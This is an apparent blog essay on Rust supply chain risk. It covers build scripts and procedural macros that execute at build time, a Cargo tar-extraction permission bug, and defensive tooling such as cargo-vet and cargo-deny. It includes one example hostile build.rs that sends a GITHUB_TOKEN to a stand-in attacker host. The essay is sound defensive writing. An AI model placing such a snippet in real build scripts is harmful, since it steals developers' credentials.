Rust’s memory safety story is not marketing. The type system genuinely eliminates entire categories of bugs, and the borrow checker enforces those guarantees without a runtime cost. Choosing Rust for a security-sensitive project is a defensible engineering decision. The problem is that “memory safe” and “supply chain safe” are separate properties, and the Rust ecosystem has spent a decade emphasizing the first while the second remains largely unsolved.
Sylvain Kerkour’s recent writeup on Rust supply chain vulnerabilities lays out the core problem clearly: the attack surface begins before your code compiles. That framing is worth sitting with. Most developers think of security in terms of what their code does at runtime. In Rust, there is a substantial phase of arbitrary code execution that happens first, and it runs with the same OS-level privileges as whoever invoked cargo build.
What Actually Executes When You Build
A standard cargo build does more than compile Rust source. For any crate that includes a build.rs file, Cargo compiles and runs that script before the crate itself. Build scripts are ordinary Rust programs with access to the full standard library, the full filesystem, and the network. Their legitimate uses are real: linking against native libraries like OpenSSL, generating FFI bindings with bindgen, detecting system capabilities. The same mechanism that makes openssl-sys work is the mechanism a malicious crate would use to exfiltrate your credentials.
A hostile build.rs looks like this:
fn main() {
if let Ok(token) = std::env::var("GITHUB_TOKEN") {
// send to attacker-controlled endpoint
let _ = std::net::TcpStream::connect("attacker.example:4444")
.map(|mut s| std::io::Write::write_all(&mut s, token.as_bytes()));
}
// emit the directive that makes Cargo happy
println!("cargo:rerun-if-changed=build.rs");
}
The build proceeds normally. The developer sees no error. The --offline flag prevents Cargo from fetching new dependencies, but it does not sandbox build script execution; the script can still open sockets. This is cargo issue #4956, open since 2017.
Procedural macros are a parallel surface. They run inside the compiler process, transforming TokenStream inputs during compilation. The entire modern async Rust ecosystem depends on them: serde::Serialize, tokio::main, async-trait, derive(Debug) in complex crates. A proc macro crate has the same full system access as a build script, with the added wrinkle that it runs during compilation of every crate that uses it. Typosquatting a proc macro crate, or compromising one transitively, grants that capability to any build that transitively depends on it.
The Dependency Graph Is the Attack Surface
A realistic Rust service using tokio, serde, reqwest, axum, and a handful of utility crates will typically pull in 300 or more transitive dependencies. Running cargo tree | wc -l on a mid-size project and getting a number over 300 is not unusual. Each of those crates can have a build.rs. Each proc macro in that graph executes during your build.
The developer has almost certainly reviewed none of them. This is not a failure of diligence so much as an acknowledgment of scale: auditing 300+ crates for every project is not a realistic expectation. The npm ecosystem figured this out the hard way with the event-stream incident in 2018, when a malicious maintainer embedded a Bitcoin wallet harvester in a widely-depended-on package. Rust developers tend to feel that story does not apply to them. The structural conditions that made it possible apply just as much.
The Attack Does Not Require Code Execution
CVE-2026-33056, disclosed by the Rust security team in March 2026, is instructive because it demonstrated that the attack surface begins before any code runs. The vulnerability was in Cargo’s use of the tar crate during dependency extraction. The tar format requires directories to be writable during extraction, so the crate accumulated permission changes and applied them in a deferred second pass. That second pass did not re-validate that paths had not been redirected through symlinks, which meant a crafted .crate archive could call set_permissions() on arbitrary filesystem directories.
A malicious archive could set ~/.ssh world-writable, causing OpenSSH to silently refuse authorized_keys. It could set ~/.cargo to mode 0000, locking out all subsequent builds. It could prepare a local privilege escalation without writing any file outside the extraction root. This is the same class of bug that affected Python’s tarfile for fifteen years (CVE-2007-4559), npm’s node-tar across multiple CVEs in 2021, and RubyGems in 2019. Each ecosystem rediscovered it independently.
crates.io deployed server-side validation in March 2026 that rejected archives exploiting this, and a corpus audit confirmed no existing published crate had weaponized it. The client-side fix shipped in Rust 1.94.1. Private registries running Artifactory or self-hosted solutions did not benefit from the crates.io server-side mitigation, which is a gap worth noting for any organization running its own registry.
Where Rust Differs from npm
The comparison to npm is apt but not exact. npm’s postinstall scripts run at install time, which is a point that most developers have internalized as dangerous. There is a culture of suspicion in the npm ecosystem that does not yet exist in Rust. When you run npm install, you expect that scripts might execute; many developers have learned to run npm install --ignore-scripts for packages they don’t fully trust. When you run cargo build, most developers do not apply the same mental model.
Rust does have structural advantages. Cargo.lock is strongly encouraged for all projects, not just applications, and it records content hashes verified against the registry index. A tampered published version of a crate would be detectable against a committed lockfile. The registry is substantially smaller than npm, which historically made anomaly detection more tractable. Build scripts are visible as source files in the crate, making them slightly more auditable than buried postinstall shell scripts. None of this constitutes a technical sandbox, but it shifts the cost of a successful attack upward.
The Mitigation Stack
Practical defense is layered. cargo-audit checks Cargo.lock against the RustSec Advisory Database, which tracks known vulnerabilities in published crates. It is reactive: it catches reported, reviewed issues, not novel malicious code or zero-days. Running it in CI means a newly published advisory fails the build before a release.
cargo-deny extends this with license enforcement and duplicate-version detection, which can surface unexpected transitive dependencies that might otherwise be missed. A deny.toml configuration:
[advisories]
db-urls = ["https://github.com/rustsec/advisory-db"]
vulnerability = "deny"
yanked = "deny"
unmaintained = "warn"
This is table stakes. The harder problem is catching malicious code that has not been reported.
cargo-vet, developed by Mozilla for Firefox’s Rust dependencies, maintains a database of human audit records tied to specific crate versions. Organizations can delegate trust: if Mozilla or the Bytecode Alliance has audited a crate, you can extend that trust without re-reviewing. Every dependency update potentially requires a new audit or diff review. The organizational overhead is real, but Mozilla has published its own audit records as a bootstrap point, and the tool supports inheriting trust from organizations you trust.
cargo-crev takes a decentralized approach: developers publish cryptographically signed reviews, and you build a web of trust by following reviewers whose judgement you trust. Coverage is uneven for obscure crates.
cargo vendor copies all dependency source into your repository. It is the most conservative option: no registry access at build time, full auditability, no possibility of a registry-level compromise affecting your build. The tradeoff is a large repository and a manual update process.
For release artifacts, SLSA provenance attestations generated in hardened CI environments record the source commit, workflow, and artifact digest in a form that end users can verify. This closes the artifact-versus-source gap that the XZ Utils backdoor (CVE-2024-3094) exploited: a two-year social engineering campaign inserted a backdoor into release tarballs while the git source remained clean. Sigstore’s keyless signing infrastructure makes this verification chain available without long-lived private keys.
The Unsolved Core
None of these tools address the root issue, which is that build scripts and proc macros run without a sandbox. The GitHub issue requesting build script sandboxing has been open since 2017. The technical challenges are real: build scripts need filesystem and sometimes network access to do their legitimate work. Defining a capability model that permits necessary access while preventing exfiltration is not a simple problem. Some proposals involve opt-in network restriction, similar to how Deno handles permissions.
Until that problem is solved, the dependency graph is the attack surface, and auditing it is a manual, expensive process that most teams skip. The tools exist to reduce the risk: lock files, advisory checking, human audit records, vendoring, build provenance. Using them is not optional if the project has meaningful security requirements. Rust’s safety guarantees are real and worth having, but they describe what happens inside the type system, not what happens in the 300 crates that run code before your program compiles.